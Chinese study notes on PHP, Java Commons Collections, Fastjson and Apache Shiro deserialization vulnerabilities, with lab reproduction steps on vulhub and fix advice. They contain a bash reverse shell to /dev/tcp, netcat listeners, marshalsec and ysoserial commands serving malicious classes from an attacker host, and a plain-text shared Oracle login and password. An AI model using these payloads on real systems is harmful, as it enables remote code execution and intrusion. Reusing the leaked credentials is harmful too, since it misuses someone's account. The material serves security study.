1、PHP反序列化渗透与防御
1.1 PHP类与对象
1.2 PHP的Magic函数
魔术方法:满足相应的条件,会自动调用的函数(如:构造函数、析构函数等)
1.3 PHP序列化和反序列化
把对象转换成字符的形式储存,并存储在任何地方
作用:
1、对象的传输 以及 跨平台的使用
2、用作缓存(Cookie、Session)
一、序列化
var_dump(serialize($obj));//输出序列化之后的结果
其他序列化格式:
1、json字符串 json_encode
2、xml字符串 wddx_serialize_value
3、二进制格式
4、字节数组
假如:有些敏感的变量,不想要序列化,则需要重写__sleep()方法
二、反序列化
用unserialize将字符串,反序列化成一个对象
注意:
1、如果传递的字符串,格式错误 或 不可以序列化,则返回FALSE
2、如果对象没有预定义,反序列化得到的对象是__PHP_Incomplete_Class
三、反序列化与Magic函数
php当调用反序列化方法unserialize时,会自动触发魔术方法__wakeup()或__unserialize(7.4.0)
如果类中同时定义了__unserialize()和__wakeup()两个魔术方法,则只有__unserialize()方法会生效,__wakeup()方法会被忽略
1.4 反序列化漏洞的出现
构造payload,通过参数传递,然后通过魔术方法中的操作,达成目的
php
<?php
include 'logfile.php';
$obj = new logfile();
//由于析构函数,最后会删除文件,试试能不能删除index.php
$obj->filename = 'index.php';
//序列化,将结果GET传参到网页request.php
echo serialize($obj);
发生条件:
1、unserialize函数的参数可控,比如通过GET请求传参(漏洞触发点)
2、脚本中定义了有Magic方法,方法里面有1php文件做读写数据或者执行命令的操作,比如__destruct()、unlinke()
3、操作的内容需要有对象中的成员变量的值,比如filename
常见利用函数:(若是存在于魔术方法中,就能考虑利用)
1.5 CTF题目分析(攻防世界_unserialize3)

观察看到一个类xctf,且存在flag成员,和__wakeup()方法
但是有矛盾点,当你用code参数传入字符串,让他进行反序列化,但是会触发__wakeup()函数强行退出。
CVE-2016-7124(PHP5<5.6.25 或 PHP7<7.0.10)
当构造反序列化字符串时,将xxx:2:{xxx}成员变量指定的个数,大于字符里实际的个数时,就会跳过__wakeup的执行
由于私有的成员变量会拼接类名,如Testpoc
所以Testpoc要改为%00Test%00poc
编写一段poc:
php
<?php
class xctf{
public $flag = '111';
}
$a = new xctf();
echo serialize($a);
结果:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
构造payload:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
1.6 typecho反序列化漏洞分析
CVE-2018-18753
2、Java反序列化漏洞
2.1 基础环境
JDK解压版:包含Java运行时的环境
IDEA:开发工具
Maven:jar包依赖管理
Tomcat:HTTP服务器
Burp Suite:发送HTTP请求
Kali:启动相关服务
2.2 序列化和反序列化的含义和用途
把内存中的Java对象,保存在磁盘里面 或 经过网络去传输!
主要使用场景:1、持久化内存数据 2、网络传输对象 3、远程方法调用(RMI)等
php反序列化
用fastjson直接用toJSON()方法
如何存到磁盘上:会生成一个二进制文件,AC ED开头
其中,反序列化漏洞就存在于readObject()处
注意:因为测试类 和 person类,本来就在一个依赖包
场景:序列化的时候有person类,但是反序列化在另一个地方没有person类
此时就要引入person类jar包的依赖
2.3 JAVA反序列化
首先!如果一个java的对象要进行序列化和反序列化,则必须实现serialize()的接口
其中!readObject()是可以自定义重写的
2.4 利用
思路:
1、重写类的readObject()方法
2、反序列过程中会执行自定义的readObject()
利用:有没有重写了readObject()的现成的类?
package sun.reflect.annotation;
AnnotationlnvocationHandler
package javax.management;
BadAttributeValueExpException
...
3、Apache Commons Collections反序列化漏洞
3.1 介绍

所谓Map其实就是一系列键值对,如(a,1)、(b,2),...
问题:
1、哪里出现了可以执行任意代码的问题?
2、反序列化的payload怎么构造?
Java代码运行原理:
1、源码
2、编码器(javac)编译为字节码.class文件
3、各平台JVM解释器把字节码文件转换成操作系统指令
跨平台 -> 把同样的class文件,在不同操作系统 转换 成操作指令
3.2 Java反射机制
在程序运行的时候,动态创建一个类的实例,调用实例的方法和访问它的属性
3.3 Apache Commons Collections漏洞原理 ≤ 3.2.1
一、CC关键类
1、InvokeTransformer
利用Java反射机制来创建类实例
2、ChainedTransformer
实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法
3、ConstantTransformer
transform()返回构造函数的对象
4、TransformedMap
二、调用链路
1、首先ConstantTran的Transform方法会返回一个Runtime类的对象,InvokerTran的Transform方法会生成 三个方法,但是怎么调用他们的Transform方法呢?
2、使用ChainedTran的Transform方法,会依次调用传入的类数组中的Transform方法,但是怎么调用ChainedTran的Transform方法呢?
3、TransformedMap的格式为(Transformer,Transformer),其中有一个checkSetValue方法,只要我们构造的一个Map的checkSetValue方法被执行了,它就会把它的键值对里的Transform方法执行
4、Ctrl+左键跟进,发现另一个Map类中有个setValue方法,且只有当一个Map对象的setValue方法被触发的时候,才会调用checkSetValue方法
5、当Map里的元素(键值对) 在增加、删除、修改的时候,Map对象的setValue方法才会被触发
6、目标:找一个对象,它在反序列化的时候,会给一个map对象的元素赋值,调用setValue方法
7、AnnotationInvocationHandler类中的反序列化函数(readObject方法),调用了Entry var5,其实就是map var5的setValue方法
三、poc构造思路
1、InvokeTransformer
反射执行代码,其中的Transform方法,可以动态实例化一个类,并触发他的方法
2、ChainedTransformer
链式调用,自动触发
3、ConstantTransformer
获得对象
4、TransformedMap
元素变化执行transform, setValue----checkSetValue
5、AnnotationInvocationHandler
readObject调用Map的setValue
四、调用流程
前提是,受害者提供了一个反序列化的接口
1、对利用类AnnotationInvocationHandler进行序列化,然后交给Java程序反序列化
2、在进行反序列化时,会执行readObject()方法,其中会调用map的setvalue方法,该方法会用setValue对成员变量TransformedMap的Value值进行修改
3、value修改触发了TransformedMap实例化时传入的参数InvokeTransformer的checkSetValue----transform()方法
4、放到Map里面的是InvokeTransformer数组,transform()方法被依次调用
5、InvokeTransformer.transform()方法通过反射,调用Runtime.getRuntime.exex("xx")函数来执行系统命令
4、Fastjson反序列化漏洞(阿里巴巴)
Druid、Fastjson、Dubbo、OceanBase、Tengine、TFS、RocketMQ、Canal
速度快、使用广泛、测试完备、使用简单、功能完备
4.1 Fastjson介绍
一、结论:
get方法 和 set方法,当你的私有变量不想让别人直接访问 User.name,则封装一个接口函数,间接调用。
1、序列化的时候,会调用成员变量的get方法,拿到它的值,然后写入到序列化的字符串里面,私有成员变量不会被序列化。
2、反序列化的时候,会调用成员变量的set方法,把字符串 赋值 给对象,public修饰的成员全部自动赋值
二、反序列化方法
JSON.parseObject() 返回实际类型对象,参数确定类 #推荐使用
User user1 = JSON.parseObject(serializedStr, User.class);
JSON.parse() 返回JsonObject对象,再通过强制类型转换,确定类
Object obj1 = JSON.parse(serializedStr)
三、@type 自省 Autotype
Fastjson序列化的时候,默认是不包含类名的!所以反序列化的时候,要给他一个类名
用法一:通过@type关键字,把类名写在字符串中,此时反序列化JSON.parseObject()可以不加参数User.class
用法二:子类中包含接口(interface) 或 抽象类(abstract class)的时候,类型丢失,则需要使用@type
四、利用类
找到com.sun.rowset.JdbcRowSetlmpl类,并且让fastJson反序列化它
Jdbc是一个连接数据库的类,你去反序列化它的时候,会连接一个数据源dataSource,可以是rmi或者是ldap源,黑客会把恶意代码挂在rmi源上面,他会下载这个代码,攻击就发生了
主要流程:反序列化,让Jdbc的这个类,去连接LDAP服务器中不存在的文件,然后下载恶意脚本
4.2 fastjson-1.2.24 RCE CVE-2017-18349
零、漏洞原理:
利用流程
1、序列化字符准备类名、dataSourceName属性和autoCommit属性
由于反序列化的时候,会调用set方法
分别调用setdataSourceName 和 setautoCommit 方法
2、JdbcRowSetlmpl反序列化,调用jdbcRowSetlmpl的setAutoCommit()
3、setAutoCommit()调用connect()
4、connect()调用lookup()连接到LDAP/RMI服务器
5、下载恶意代码到本地,执行,攻击发生
一、提前准备:
1、vulhub启动靶场
2、Kali用marshalsec启动LDAP/RMI服务
3、Kali用python启动HTTP服务,存放恶意类
4、Kali用netcat监听端口,建立反弹连接
注:可以结合Log4j2的JNDI注入学习
二、启动靶场Centos7:
cd /usr/local/soft/vulhub/fastjson/1.2.24-rce
docker-compose up -d
三、启动攻击机Kali:
1、设置python版本:
配置
update-alternatives --install /usr/bin/python python /usr/bin/python2 100
update-alternatives --install /usr/bin/python python /usr/bin/python3 150
切换版本
update-alternatives --config python
2、设置JRE版本为jdk 1.8
JDK8官网oracle下载
/注意,Oracle 的账号规定了只能单点登录,如果有两个人同时登录这个账号是行不通的。 /
账号:awo81898@tuofs.com
密码:Fs123456
解压:tar -zxvf xxx.tar.gz
或:gzip -dv xxx.tar.gz; tar -xvf xxx.tar
vim /etc/profile
在文件末尾添加
java
export JAVA_HOME=/root/soft/java/jdk1.8.0_441
export PATH=JAVA_HOME/bin:PATH
export CLASSPATH=.:JAVA_HOME/lib/dt.jar:JAVA_HOME/lib
重新加载配置文件
source /etc/profile
四、环境
编写恶意代码LinuxTouch,编译为class;编译完成后,这个恶意类要放在网上,给LDAP服务器去关联+下载
启动http服务:python -m http.server 8090 #python3
启动RMI服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://xxx.xxx.xxx.xxx:8090/#LinuxTouch" 9473
五、攻击步骤 及 脚本
1、将脚本放到对应的java版本包的bin目录下,然后执行javac。
注意:不能有包名package字样
2、将生成的class文件,放到kali开启的http服务下(vulhub/apache)
3、开启LDAP服务(marshalsec)
4、开启vulhub靶机,该网页会反序列化提交的请求
5、打开burpsuite,编写并发送payload
复现不成功的几种原因
1、JDK11编译的class放到靶场JDK8的环境,不能运行
2、java源代码不能有包名(package name)
3、用python启动HTTP而不是Apache
4、docker-compose up 不带-d可以看到日志
4.2 fastjson-1.2.47 RCE CVE-2017-18349
零、漏洞原理
黑名单绕过。利用缓存的机制。
通过再java.lang.Class类,这个类是去找一个名字。
如果在缓存中找到JdbcRowSetlmpl类,就可以拿到
一、环境
Kali监听9001的端口:nc -lvp 9001
编写恶意代码LinuxRevers,编译为class;编译完成后,这个恶意类要放在网上,给LDAP服务器去关联+下载
启动http服务:python -m http.server 8090 #python3
启动LDAP服务:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://xxx.xxx.xxx.xxx:8090/#LinuxRevers" 9473
二、攻击步骤 及 脚本
4.3 漏洞挖掘思路
1、找到发送JSON序列化数据的端口
2、判断是否使用fastjson
一、非法格式报错
{"x":"
二、使用dnslog探测
{"x":{"@type":"java.net.lnet4Address","val":"xxx.dnslog.cn"}}
3、Burp插件
https://github.com/zilong3033/fastjsonScan
4.4 漏洞修复
1、升级JDK
6u211 / 7u201 / 8u191 / 11.0.1
2、升级Fastjson到最新版
fastjson.parser.safeMode=true
3、使用安全产品过滤非法内容
4、更换其他序列化工具
Jackson/Gson
5、Shiro反序列化漏洞
5.1 Apache Shiro反序列化漏洞(Shiro550)
一、Shiro介绍
Apache Shiro:开源安全框架
- 身份认证(登录)
- 授权(访问控制)
- 会话管理(如session)
- 加密

5.2 漏洞原因分析
该反序列化漏洞,发生在网页的登录过程中发生的,在"记住我"功能中
登陆验证流程
一、登陆信息保存
1、remember me登录:
序列化------AES加密------Base64编码------写入Cookie
在服务器的session中保存起来,并且发给客户端
2、身份认证:
Cookie值------Base64解码------AES解密------反序列化
难点1:AES加密需要同一把密钥,怎么找到服务器里用来解密的key呢?
答案:在Shiro550中,AES加密是硬编码,即在代码里写死了,任何人可见
难点2:完整调用链?怎么通过反序列化到readobject方法,去执行命令呢?
答案:使用工具!
二、登录过程

三、验证过程

5.3 漏洞环境搭建
本地复现 或 vulhub复现
1、本地代码
https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4
2、IDEA导入到以下目录
shiro-shiro-root-1.2.4\samples\web
3、pom.xml修改,还需要apachecc依赖
4、安装ysoserial-jar依赖包
勾选remember me,使用任意用户名密码进行登录(Burp抓包)
5.4 利用工具和方式
一、JRMP协议/服务器
JRMP全称为Java Remote Methmod Protocol,也就是Java远程方法协议
他是RMI工作的一个底层协议。
二、ysoserial工具
https://github.com/frohoff/ysoserial
在终端运行:mvn package -D skip Tests,进行编译打包
或者,上github找已经打包好的ysoserial.jar文件
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 'calc.exe'
POP Gadgets(Property-Oriented Programming 面向属性编程)
可以检测是否存在java反序列化漏洞,并进行验证和利用
三、漏洞特征
set-cookie是否存在rememberMe=deleteMe
fofa dork
header="rememberme=deleteMe"、header="shiroCookie"
四、检测工具
基于JDK8
1、shiro_tool.jar 纯字符版
2、ShiroExploitV2.51
3、shiro_attach-v2.0.jar
5.5 利用方式1
payloads/JRMPListener <> exploit/JRMPClient
5.6 利用方式2(本次实验)
exploit/JRMPListener <> payloads/JRMPClient
两次反序列化
参考资料:
https://www.sohu.com/a/447023879_120045376
http://t.zoukankan.com/nice0e3-p-14280278.html
一、利用流程
1、先构建一个恶意命令,它的作用是让漏洞服务器连接到我们启动的JRMP服务器,建立一个通道,方便我们发送payload1
2、把这个命令序列化、AES加密、base64编码(payload2),写入Cookie,发送给漏洞服务器
3、漏洞服务器:base64解码、AES解密、反序列化,执行恶意命令,连接到JRMP服务器
4、继续发送恶意payload1,利用CC等通过库的漏洞执行命令
二、完整流程

第一步:
kali监听端口:nc -lvp 7777
第二步:
准备恶意命令,反弹连接命令作为ysoserial参数,在进行编码处理
bash -i >& /dev/tcp/Kali的ip/7777 0>&1
base64编码+改变格式
ysoserial编码工具:https://ares-x.com/tools/runtime-exec/
第三步:启动JRMPListener
通过ysoserial的jar包
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 "反弹连接格式"
第四步:python生成cookie(AES加密、base64)
python shiro.py xxx.xxx:8888指定JRMP端口
pip install pycrypto模块
第五步:通过BP,发送cookie值
第六步:成功!
我只发了一次payload,目的是为了连接JRMP服务器。
实际上第二个payload,是ysoserial发送的,包括反弹连接+反序列化
5.7 修复和防御
1、升级Apache Shiro到最新版本
2、部署安全产品
防御工具库:
https://github.com/ikkisoft/SerialKiller/
6、总计!